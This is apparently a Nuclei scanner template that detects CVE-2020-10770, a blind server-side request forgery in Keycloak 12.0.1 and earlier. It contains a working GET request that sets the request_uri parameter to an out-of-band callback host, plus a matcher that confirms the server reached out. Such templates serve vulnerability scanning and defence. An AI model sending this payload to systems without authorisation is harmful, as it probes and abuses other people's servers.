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id : CVE-2020-10770
info :
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name : Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
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author : dhiyaneshDk
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severity : medium
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description : Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
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remediation : |
Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
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reference :
- https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
- https://www.exploit-db.com/exploits/50405
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- https://nvd.nist.gov/vuln/detail/CVE-2020-10770
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- https://bugzilla.redhat.com/show_bug.cgi?id=1846270
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
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cvss-score : 5.3
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cve-id : CVE-2020-10770
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cwe-id : CWE-918
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epss-score : 0.43882
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epss-percentile : 0.96958
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cpe : cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : redhat
product : keycloak
tags : keycloak,ssrf,oast,cve,cve2020,blind,packetstorm,edb
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http :
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- method : GET
path :
- '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
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matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
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# digest: 4a0a00473045022065d7f83787800a7fb4673a47b6b90bf75005e921486677bc87f3b271830aa4ff0221009927076871111fb221a984cd894ce692412d06a394d0eb2a6af4b54ae91f550b:922c64590222798bb761d5b6d8e72950